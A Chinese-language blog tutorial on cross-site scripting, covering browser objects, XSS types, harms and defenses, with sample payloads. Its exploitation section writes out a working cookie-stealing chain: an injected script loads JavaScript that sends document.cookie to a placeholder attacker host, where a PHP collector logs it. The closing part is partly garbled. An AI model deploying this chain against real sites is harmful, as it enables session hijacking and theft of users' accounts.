XSS 跨站脚本攻击 漏洞

0x00 XSS 前置知识

什么是 BOM

  • 浏览器对象模型(Browser Object Model (BOM))

  • 由于现代浏览器已经(几乎)实现了 JavaScript 交互性方面的相同方法和属性,因此常被认为是 BOM 的方法和属性。

  • 例如:

  • Window 对象

  • 所有浏览器都支持 window 对象,它表示浏览器窗口。

  • 所有 JavaScript 全局对象、函数以及变量均自动成为 window 对象的成员

  • 全局变量是 window 对象的属性

  • 全局函数是 window 对象的方法。

  • 甚至 HTML DOM 的 document 也是 window 对象的属性之一

  • window.document getElementByld("header");

  • 与此相同:

  • document.getElementByld("header");

  • window.location

  • window 在使用时可以省略

  • location.hostname 返回 web 主机的域名

  • location.pathname 返回当前页面的路径和文件名

  • location.port 返回 web 主机的端口(80 或 443)

  • location.protocol 返回所使用的 web 协议 http 或 https

<script>
  document.write(location.pathname);
</script>
  • window.navigator

  • window.navigator 对象包含有关访问者浏览器的信息。

<script>
  txt =  "<p>浏览器代号:" + navigator.appCodeName + "</p>";
  txt += "<p>浏览器名称:" + navigator.appName + "</p>";
  txt += "<p>浏览器版本:" + navigator.appVersion + "</p>";
  txt += "<p>启用Cookies:" + navigator.cookieEnabled + "</p>";
  txt += "<p>硬件平台:" + navigator.platform + "</p>";
  txt += "<p>用户代理:" + navigator.userAgent + "</p>";
  txt += "<p>用户代理语言:" + navigator.systemLanguage + "</p>";
  document.write(txt);
</script>

  • window.document

  • document.cookie 对象用于存储 web 页面的用户信息。

  • 使用 document.cookie 属性来创建、读取、及删除 cookie。

  • 创建 cookie

  • document.cookie="username=John Doe";

  • 读取 cookie

  • document.write(document.cookie)

  • 删除 cookie

  • document.cookie ="username= expires= Thu, 01 Jan 1970 00: 00: 00 GMT;

0x01 XSS 漏洞概述

漏洞的介绍

  • XSS 又叫 CSS( Cross Site Script),全称 跨站脚本攻击 。它指的是攻击者往 Web 页面或者 URL 里插入恶意 java Script 脚本代码,如果 Web 应用程序对于用户输入的内容没有过滤 ,那么当正常用户浏览该网页的时候,嵌入在 Web 页面里的恶意 javascript 脚本代码会被执行 ,从而达到恶意攻击正常用户的目的。

漏洞的位置

  • 数据交互的地方:

  • get post cookies headers 方法

  • 富文本编辑器

  • 各类标签插入和自定义

  • 数据输出的地方:

  • 用户资料

  • 关键词、标签、说明

0x02 XSS 漏洞原理

  • web应用对用户的输入没有经过严格过滤,导致用户输入的恶意JS代码嵌入WEB页面中执行

  • XSS 是指攻击者通过在** Web 页面中写入恶意脚本** ,造成用户在浏览页面时,获取控制用户浏览器进行操作的攻击方式

xss攻击的是用户,不能直接getshell

原理图解

// 服务端代码:
<?php
  $input = $_GET["test"];
  echo $input;
?>
// 用户提交:
<script>alert(/xss/)</script>

XSS 漏洞产生的两个条件

  1. 可以控制的输入点

  2. 输入能返回到前端页面上被浏览器当成脚本语言解释执行

0x03 XSS 漏洞危害

漏洞的危害

  1. 窃取用户 Cookie,冒充用户身份进入网站 (常见)

  2. 键盘记录

  3. 客户端信息探查

  4. 劫持用户会话,执行任意操作

  5. 刷流量,执行弹窗广告

  6. 传播蠕虫病毒

  7. ......

0x04 XSS 漏洞防御

  1. 使用** XSS Filter** :XSS Filter的作用是过滤用户(客户端)提交的有害信息 ,从而达到防范XSS攻击的效果

  2. 输入过滤 :永远不要相信用户的输入",对于用户输入一定要过滤

  3. 输入验证 :对用户提交的信息进行有效验证 (是否仅包含合法字符、字符串长度限制、输入是否符合特殊的格式要求等等)

  4. http-only :HttpOnly是包含在http返回头Set-Cookie里面的一个附加的flag,所以它是后端服务器对cookie设置的一个附加的属性,在生成cookie时使用HttpOnly标志有助于减轻客户端脚本访问受保护cookie的风险(如果浏览器支持的话)通过js脚本将无法读取到cookie信息(document.cookie),这样能有效的防止XSS攻击。

  5. 输出编码 (htmlspecialchars函数 ):HTML编码主要是用对应的HTML实体代替字符

0x05 XSS 漏洞分类

反射型XSS

  • 概念:是非持久性 、参数型的跨站脚本。反射型XSS的JS代码在web应用的参数(变量)中,如搜索框 的反射型ⅩSS。

  • 存在位置:常见于通过URL传递参数 的功能,如网站搜索、跳转等

  • 攻击手法:需要欺骗用户自己去点击链接才能触发ⅩSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面

  • 验证反射型XSS漏洞存在的poc
<script>alert('xss')</script>    //常用
<script>confirm('xss')</script>
<script>prompt('xss')</script>
<script>console.log('xss')</script>

存储型XSS

  • 概念:持久性跨站脚本,是三种XSS中危害最大 的。它是将恶意代码写进数据库或文件等可以永久保存数据的介质中

  • 存在位置:常出现在留言板、发表评论或发表文章的地方(数据写入的地方)

  • 攻击手法:

  • 通过留言板等功能,将攻击者精心构造XSS代码,保存到数据库 中,当其他用户再次访问 这个页面时,就会触发并执行恶意的XSS代码 ,从而窃取用户的敏感信息

  • XSS盲打,例如插入XSS平台生成的盗取cookie链接

DOM型XSS

  • DOM的意思:DOM文档对象模型 (Document Object Model, DOM)是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容、结构以及样式

  • 概念:不经过后端 ,DOM XSS漏洞是基于文档对象模型的一种漏洞,简单去理解就是因为输岀点在DOM 。DOM XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。

  • 攻击手法:

  1. 攻击者构造出特殊的URL,其中包含恶意代码。用户打开带有恶意代码的URL

  2. 用户浏览器接收到响应后解析执行,前端 JavaScript取出URL中的恶意代码并执行。

  3. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作

  • 常见的DOM方法:

三种类型的区别

  • 存储型XSS与反射型XSS的区别

  • 存储型XSS的恶意代码存在数据库 里,是持久性的;反射型XSS的恶意代码存在URL 里,是一次性的

  • DOM型与其他两种XSS的区别

  • DOM型XSS攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript自身的安全漏洞,而其他两种ⅩSS都属于服务端的安全漏洞

0x06 XSS漏洞利用

XSS 简单利用

Cookie获取

//插入脚本
<script src='http://IP/xss.js'></script>

// xss.js
s=document.createElement('script');
s.src='http://IP/xss.php?cookie='+btoa(document.cookie);
document.body.appendChild(s)

// xss.php
<?php
 $a = $_GET['cookie'];
 $fp = fopen('xss.txt','a');
 fwrite($fp,$a);
 fclose($fp);
?>

键盘记录

  • JS发送请求的方式

  • 利用一些标支持src属性的标签,例如

  • 某些标签内 //

    不支持XSS的事件

    常用事件

    • onclick 鼠标点击鮫发

    • onload当页面加载完成后触发

    • onerror当页面加载错误时候鮫发

    • onmousemove当鼠标移动就触发

    • onmouseover 鼠标指针移动到指定的元素上时发生

    <img src=x" onerror="alert("you")></img>
    <p onmouseover=alert(/you/)>test</p>
    

    • javascript伪协议

    • 这个特殊的协议类型声明了URL的主体是任意的 javascript代码,它由 javascrip的解释器运行。如果 javascript伪协议中URL中的 javascript代码含有多个语句,必须使用分号将这些语句分隔开。

    • 在浏览器直接输入

    <a href="javascript:alert(a)">1</a>
    <img src=1 onerror="javascript:alert(1)"></img>
    

    XSS 基本构造(5种)

    1. 利用<> 构造 HTML/JS
    • 同理,提交 ,构造

posted @ 2021-11-21 10:48  FreeK0x00  阅读(561)  评论(0编辑  收藏  举报